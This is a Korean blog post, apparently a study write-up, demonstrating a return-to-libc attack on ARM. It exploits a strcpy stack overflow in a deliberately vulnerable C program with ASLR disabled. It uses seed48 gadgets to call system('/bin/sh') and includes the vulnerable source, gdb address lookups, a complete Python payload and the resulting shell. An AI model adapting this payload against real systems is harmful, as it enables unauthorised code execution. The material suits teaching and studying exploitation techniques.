Self-Improvement
ARM - RTL system("/bin/sh") 예제 (ASLR off, seed48, memmove, struct) 본문
shantoroy.com/security/ret-to-libc-arm-exploitation-raspberry-pi/
r11을 덮자
소스코드 bof.c
//gcc -fno-stack-protector -o bof bof.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// This is our vulnerable function
void vulnerable(char *arg) {
char buff[100];
// to print return address
printf("%p\n",&buff[0]);
strcpy(buff, arg);
}
// Pass argument in the vulnerable function
int main(int argc, char *argv[]) {
vulnerable(argv[1]);
return 0;
}
보호기법
ASLR off
gef> checksec
[+] checksec for '/bof'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : No
RTL
NX는 스택에 쉘코드를 올려서 실행을 방지하는 메모리 보호기법으로써 RTL을 이용하여 스택이 아닌 원하는 함수를 호출하는 공격기법이다.
참고 : johyungen.tistory.com/444
소스코드의 strcpy 함수에서 BOF 취약점이 존재하며 프레임 포인터 r11까지 도달하기 위해선 104byte가 필요하다.
RTL을 이용하여 system 함수를 실행시킬 것이며 그러기 위해선 아래의 주소가 필요하다
1. gadget 주소
- seed48 함수의 가젯으로 /bin/sh 실행할 예정이다.
2. system 주소
3. system 실행할 명령어 주소
gadget에서 /bin/sh을 seed48로 가능한 이유는 아래에 읽어보면 알 것이다.
1. gadget 주소
system("/bin/sh")을 실행하기 위한 가젯은 라이브러리에 존재하는 seed48함수의 가젯으로 바이너리 파일을 샐행한 후 다음과 같은 가젯 seed48+24의 "pop {r4, pc}", seed48+20의 "add r0, r4, #6"을 사용한다. (ASLR OFF임으로 라이브러리의 가젯 주소는 변하지 않는다)
0xb6ea5df8, 0xb6ea5dfc
gef> p seed48
$1 = {unsigned short *(unsigned short *)} 0xb6ea5de4 <seed48>
gef> x/i 0xb6ea5de4+20
0xb6ea5df8 <seed48+20>: add r0, r4, #6
gef> x/i 0xb6ea5de4+24
0xb6ea5dfc <seed48+24>: pop {r4, pc}
2. system 주소
실행파일을 gdb로 열고 system 함수 주소를 구해준다. (ASLR OFF임으로 매핑되는 system 주소는 변하지 않는다)
0xb6eadfac
gef> p system
$2 = {<text variable, no debug info>} 0xb6eadfac <__libc_system>
3. binsh 주소
system 함수 인자의 꽃은 "/bin/sh"으로 라이브러리에 존재하며 gdb에서 구하는 명령어는 2가지가 있다. 편한것을 사용하자 (ASLR OFF임으로 라이브러리의 문자열 주소는 변하지 않는다.)
0xb6f91b20
binsh 주소에서 마지막 byte가 0x20으로 nullbyte로 strcpy 함수에 의해 수행되면 null로 인식하여 그 뒤의 페이로드는 제대로 스택에 들어가지 못한다!!! 그래서 seed48 함수의 gadget(add r0, r4, #6)을 쓰는것이다.
gef> grep "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/lib/arm-linux-gnueabihf/libc-2.19.so'(0xb6e74000-0xb6f9f000), permission=r-x
0xb6f91b20 - 0xb6f91b27 -> "/bin/sh"
gef> find &system,+9999999,"/bin/sh"
0xb6f91b20
warning: Unable to access 16000 bytes of target memory at 0xb6fa1528, halting search.
1 pattern found.
RTL 수행
이제 위에서 얻은 주소들로 페이로드를 작성해주자.
gadget1 = <seed48+24>: pop {r4, pc}
gadget2 = <seed48+20>: add r0, r4, #6
binsh - 0x6 = 0xB6F91B1A
// binsh - 0x6 ?= <seed48+20> add r0, r4, #6
system = 0xb6eadfac
A*104 + gadget1(0xb6ea5dfc) + binsh-0x6(0xB6F91B1A) + gadget2(0xb6ea5df8) + dummy + system(0xb6eadfac)
= python -c "import struct; print('A'*104+struct.pack('<L',0xb6ea5dfc)+struct.pack('<L',0xB6F91B1A)+struct.pack('<L',0xb6ea5df8)+'bbbb'+struct.pack('<L',0xb6eadfac))"
- gadget1(0xb6ea5dfc)으로 인해 binsh-0x6(0xb6f91b1a) 주소가 r4 레지스터에, gadget2 주소가 pc에 저장된다.
- 다음 pc에 저장된 gadget2가 수행되는데 이때 r4의 값은 binsh-0x6의 주소값이고 6을 더하여 r0에 저장한다. 즉, binsh 주소가 된다.
- gadget2(seed48+20)가 끝나고 seed48+24가 수행되는데 다시 gadget1을 수행하는 것이다.
- dummy는 r4에, system 주소는 pc에 저장되어 system 함수가 실행되고 인자는 r0에 저장된 binsh이 된다.
$ ./bof `python -c "import struct; print('A'*104+struct.pack('<L',0xb6ea5dfc)+struct.pack('<L',0xB6F91B1A)+struct.pack('<L',0xb6ea5df8)+'bbbb'+struct.pack('<L',0xb6eadfac))"`
0xbefff1a4
$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
$
마무리
ROP 할 경우에는 offset을 기준으로 주소를 작성해줘야한다.
/bin/sh이 아닌 하나의 명령어를 사용할경우라면 memmove+236의 gadget을 사용한다
이 가젯으로 /bin/sh을 하면 주소의 마지막 바이트가 0x20으로 되어있어서 주소 그대로 들어가면 수행되지 않는다.
gef> x/i memmove+236
0xb6eee12c <memmove+236>: pop {r0, r4, pc}
틀린점이 있다면 지적바랍니다 가젯을 2번 써서 프로그래밍을.. 한거니.. ROP를.. 한것같기도 하고...
'ARM' 카테고리의 다른 글
arm - 입력값(read, scanf)으로 RTL 할 시 /bin/sh은 안되고 나머지는 되는이유?? (0) | 2021.01.26 |
---|---|
ARM - plt, got 확인 (got func()) (0) | 2021.01.25 |
ARM - Buffer Overflow (Shellcode, r11을 덮자) (0) | 2021.01.15 |
ARM - buffer Overflow 기초 (R11 -> &lr(돌아갈 주소를 갖는 레지스터)) (0) | 2021.01.15 |
** ARM Instruction 설명 (지속적 추가 예정) ** (0) | 2021.01.14 |